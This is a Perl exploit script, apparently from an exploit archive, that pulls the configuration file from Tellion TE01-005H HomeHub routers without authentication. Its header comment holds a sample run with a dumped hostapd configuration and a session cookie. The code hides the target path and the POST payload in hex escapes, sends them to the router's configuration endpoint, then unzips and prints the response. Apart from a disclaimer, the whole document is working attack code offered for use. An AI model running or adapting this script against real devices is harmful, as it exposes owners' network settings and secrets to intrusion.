Share
#!/usr/bin/perl -w
#
#  Tellion TE01-005H HomeHub Router Remote Configuration Disclosure
#
#  Copyright 2019 (c) Todor Donev <todor.donev at gmail.com>
#
#
#  Disclaimer:
#  This or previous programs are for Educational purpose ONLY. Do not use it without permission. 
#  The usual disclaimer applies, especially the fact that Todor Donev is not liable for any damages 
#  caused by direct or indirect use of the  information or functionality provided by these programs. 
#  The author or any Internet provider  bears NO responsibility for content or misuse of these programs 
#  or any derivatives thereof. By using these programs you accept the fact  that any damage (dataloss, 
#  system crash, system compromise, etc.) caused by the use  of these programs are not Todor Donev's 
#  responsibility.
#   
#  Use them at your own risk!  
#  
#  (Dont do anything without permissions)
#
#  #  [ Tellion TE01-005H HomeHub Router Remote Configuration Disclosure
#  #  [ ================================================================
#  #  [ Exploit Author: Todor Donev 2019 <[email protected]>
#  #  [ Initializing the browser
#  #  [ >>  Referer => http://192.168.1.101:2040
#  #  [ >>  User-Agent => Mozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.7.5) Gecko/20050105 Epiphany/1.4.8
#  #  [ >>  Content-Type => application/x-www-form-urlencoded
#  #  [ <<  Connection => close
#  #  [ <<  Accept-Ranges => bytes
#  #  [ <<  Content-Length => 21410
#  #  [ <<  Content-Type => application/octet-stream
#  #  [ <<  Client-Date => Wed, 02 Oct 2019 06:24:48 GMT
#  #  [ <<  Client-Peer => 192.168.1.101:2040
#  #  [ <<  Client-Response-Num => 1
#  #  [ <<  Content-Disposition => attachment;filename="config.tgz"
#  #  [ <<  Content-Transfer-Encoding => binary
#  #  [ <<  Set-Cookie => QSESSIONID=86edd87d47e015af5c8f6a96028f0492; path=/
#  #  [
#  #  [ >> Configuration dump...
#  #  [
#  #  [ # To avoid automatic reconfiguration, wps_configured=1 is set; 
#  #  [ # however, WPS is allowed otherwise.
#  #  [ # Note wps_auth_type_flags=1 (open) and wps_encr_type_flags=1 (none)
#  #  [ ignore_file_errors=1
#  #  [ logger_syslog=-1
#  #  [ logger_syslog_level=2
#  #  [ logger_stdout=-1
#  #  [ logger_stdout_level=2
#  #  [ debug=0
#  #  [ dump_file=/tmp/hostapd.dump
#  #  [ ctrl_interface=/var/run/hostapd
#  #  [ ctrl_interface_group=0
#  #  [ ssid=SoIP
#  #  [ dtim_period=2
#  #  [ max_num_sta=255
#  #  [ macaddr_acl=0
#  #  [ auth_algs=1
#  #  [ ignore_broadcast_ssid=0
#  #  [ wme_enabled=0
#  #  [ ieee8021x=0
#  #  [ eapol_version=2
#  #  [ eapol_key_index_workaround=0
#  #  [ eap_server=1
#  #  [ eap_user_file=/etc/wpa2/hostapd.eap_user
#  #  [ wpa=0
#  #  [ 
#  #  [ ******
#  #  [ ******
# 
use strict;
use HTTP::Request;
use LWP::UserAgent;
use WWW::UserAgent::Random;
use Gzip::Faster;
my $host = shift || 'https://192.168.1.1'; # Full path url to the store
$host =~ s|/$||;
print  "\033[2J";    #clear the screen
print  "\033[0;0H"; #jump to 0,0
print STDERR "[ Tellion TE01-005H HomeHub Router Remote Configuration Disclosure\n";
print STDERR "[ ================================================================\n";
print STDERR "[ Exploit Author: Todor Donev 2019 <todor.donev\@gmail.com>\n";
print STDERR "[ e.g. perl $0 https://target:port/\n" and exit if ($host !~ m/^http/);
print STDERR "[ Initializing the browser\n";
my $user_agent = rand_ua("browsers");
my $browser  = LWP::UserAgent->new(protocols_allowed => ['http', 'https'],ssl_opts => { verify_hostname => 0 });
   $browser->timeout(30);
   $browser->agent($user_agent);
my $target = $host."\x2f\x63\x67\x69\x2d\x62\x69\x6e\x2f\x73\x79\x73\x74\x65\x6d\x5f\x63\x6f\x6e\x66\x69\x67\x5f\x66\x69\x6c\x65";
my $payload = "\x63\x6f\x6e\x66\x69\x67\x5f\x63\x6d\x64\x3d\x25\x43\x30\x25\x46\x41\x25\x43\x30\x25\x45\x35";
my $request = HTTP::Request->new (POST => $target,[Content_Type => "application/x-www-form-urlencoded",Referer => $host], $payload);                      
my $response = $browser->request($request) or die "[ Exploit Failed: $!";
print STDERR "[ >>  $_ => ", $request->header($_), "\n" for  $request->header_field_names;
print STDERR "[ <<  $_ => ", $response->header($_), "\n" for  $response->header_field_names;
my $gzip = $response->content();
print STDERR "[\n[ >> Configuration dump...\n[\n";
print  "[ ", $_, "\n" for split(/\n/,gunzip($gzip));

#  0day.today [2019-12-04]  #